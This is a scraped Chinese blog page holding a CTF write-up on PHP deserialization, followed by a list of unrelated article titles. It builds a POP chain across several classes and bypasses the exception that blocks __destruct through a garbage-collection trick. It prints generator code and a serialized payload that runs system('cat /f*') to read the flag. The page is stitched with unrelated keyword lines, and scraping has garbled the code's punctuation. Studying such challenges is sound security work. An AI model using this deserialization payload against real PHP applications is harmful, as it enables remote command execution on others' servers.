当前位置: 首页 > news >正文

通江县建设局网站淘宝网站所用编码

通江县建设局网站,淘宝网站所用编码,老板让做公司网站设计,公司网站与营销网站的区别打开链接#xff0c;存在很多个类#xff0c;很明显是php反序列化漏洞利用#xff0c;需要构造pop链 #xff0c; 关于pop链构造的详细步骤教学#xff0c;请参考我之前的博客#xff0c;真的讲得很详细也容易理解#xff1a; http://t.csdnimg.cn/wMYNB 如果你是刚接…打开链接存在很多个类很明显是php反序列化漏洞利用需要构造pop链 关于pop链构造的详细步骤教学请参考我之前的博客真的讲得很详细也容易理解 http://t.csdnimg.cn/wMYNB 如果你是刚接触php反序列化利用的题那么建议先看基础的原理知识 http://t.csdnimg.cn/xhqzq http://t.csdnimg.cn/jzQjt http://t.csdnimg.cn/IHpEq 由于这道题还出现了 throw new Exception(Nope); 这个throw就是GC回收垃圾回收机制这里需要绕过它。 首先我们需要知道 在php中当对象被销毁时会自动调用__destruct()方法但如果程序报错或者抛出异常就不会触发该魔术方法。 当一个类创建之后它会自己消失而 __destruct() 魔术方法的触发条件就是一个类被销毁时触发而throw那个函数就是回收了自动销毁的类导致destruct检测不到有东西销毁从而也就导致无法触发destruct函数。 我们可以通过提前触发垃圾回收机制来抛出异常从而绕过GC回收唤醒__destruct()魔术方法。 触发垃圾回收机制的方法有本质即使对象引用计数归零 1对象被unset()处理时可以触发。 2数组对象为NULL时可以触发。 我们先正常构造pop链 关于pop链的构造和标注真的看我之前那篇博客肯定能懂 ?phpclass Start{public $errMsg; // 5 Cryptopublic function __destruct() {die($this-errMsg); } }class Pwn{public $obj; // 2 Webpublic function __invoke(){$this-obj-evil();}public function evil() {phpinfo();} }class Reverse{public $func; // 3 Pwnpublic function __get($var) {($this-func)();} }class Web{ public $func; // 1 systempublic $var; // 1 cat /f*public function evil() {if(!preg_match(/flag/i,$this-var)){($this-func)($this-var);}else{echo Not Flag;}} }class Crypto{public $obj; // 4 Reversepublic function __toString() {$wel $this-obj-good;return NewStar;} }class Misc{ public function evil() {echo good job but nothing;} }$w new Web(); $w-func system; $w-var cat /f*; $p new Pwn(); $p-obj $w; $r new Reverse(); $r-func $p; $c new Crypto(); $c-obj $r; $s new Start(); $s-errMsg $c; echo serialize($s);? 我们使用第二中方法数组对象为NULL绕过GC回收 ?phpclass Start{public $errMsg; // 5 Cryptopublic function __destruct() {die($this-errMsg); } }class Pwn{public $obj; // 2 Webpublic function __invoke(){$this-obj-evil();}public function evil() {phpinfo();} }class Reverse{public $func; // 3 Pwnpublic function __get($var) {($this-func)();} }class Web{ public $func; // 1 systempublic $var; // 1 cat /f*public function evil() {if(!preg_match(/flag/i,$this-var)){($this-func)($this-var);}else{echo Not Flag;}} }class Crypto{public $obj; // 4 Reversepublic function __toString() {$wel $this-obj-good;return NewStar;} }class Misc{ public function evil() {echo good job but nothing;} }$w new Web(); $w-func system; $w-var cat /f*; $p new Pwn(); $p-obj $w; $r new Reverse(); $r-func $p; $c new Crypto(); $c-obj $r; $s new Start(); $s-errMsg $c;$barray($s,0); echo serialize($b); ? 运行得到 a:2:{i:0;O:5:Start:1:{s:6:errMsg;O:6:Crypto:1:{s:3:obj;O:7:Reverse:1:{s:4:func;O:3:Pwn:1:{s:3:obj;O:3:Web:2:{s:4:func;s:6:system;s:3:var;s:7:cat /f*;}}}}}i:1;i:0;}  我们将最后的 i:1 替换为 i:0 即 a:2:{i:0;O:5:Start:1:{s:6:errMsg;O:6:Crypto:1:{s:3:obj;O:7:Reverse:1:{s:4:func;O:3:Pwn:1:{s:3:obj;O:3:Web:2:{s:4:func;s:6:system;s:3:var;s:7:cat /f*;}}}}}i:0;i:0;}  构造payload postfasta:2:{i:0;O:5:Start:1:{s:6:errMsg;O:6:Crypto:1:{s:3:obj;O:7:Reverse:1:{s:4:func;O:3:Pwn:1:{s:3:obj;O:3:Web:2:{s:4:func;s:6:system;s:3:var;s:7:cat /f*;}}}}}i:0;i:0;}  拿到flag flag{558eb633-8715-4922-8201-f8402343b140}  当然这里保险一点的做法是先执行 ls 命令然后再使用 ../../../ 进行目录穿越 找到flag所在目录再进行 cat并且这里过滤了关键字 flag因此我们使用通配符 * 进行匹配。 只是说一般 flag 都在根目录下所以我直接 cat /f*。
http://www.w-s-a.com/news/762570/

相关文章:

  • 韩雪个人网站wordpress 怎么添加网站备案信息
  • 个人网站可以做地方技能培训班
  • 品牌营销策略研究无锡 网站 seo 优化
  • 在线推广网站的方法有哪些织梦网站首页目录在哪
  • 做爰全过程免费网站的视频做网站的几个步骤
  • cpa建站教程青海西宁制作网站企业
  • 简易的在线数据库网站模板网站多服务器建设
  • 成都seo网站建设花店网页模板html
  • 义乌市网站制作网络营销策略名词解释
  • 高端品牌网站建设图片wordpress 资源站主题
  • 上海建设工程监督总站网站电商网站wordpress
  • 网站建设 医院菏泽网站建设熊掌号
  • 成都网站建设企业预约网免费建站流程
  • 网站建设胶州中国政务网站建设绩效评估
  • 合肥知名网站推广胶东国际机场建设有限公司网站
  • asp.ney旅游信息网站下载 简洁濮阳微信网站开发
  • 建设网站专业怎么上传网站程序到空间
  • 县城乡建设局网站微商城小程序哪个好
  • 博物馆门户网站建设优势重庆seo排名系统运营
  • 哪有app制作公司上海seo排名
  • 长沙建站seo公司北京招聘信息
  • 建设网站情况说明范文四川个人证书查询网官网
  • 推广学校网站怎么做公司可以做多个网站吗
  • 游戏网站后台建设郑州定制网站
  • 商务公司网站建设网站建设如何自学
  • 现在建网站可以拖拉式的吗中国国内最新新闻
  • phpstorm网站开发产品logo设计
  • 电子商务网站建设与运营什么是单页面网站
  • 西安优化网站公司南阳微信网站
  • 购物网站线下推广方案佛山快速建站哪家服务专业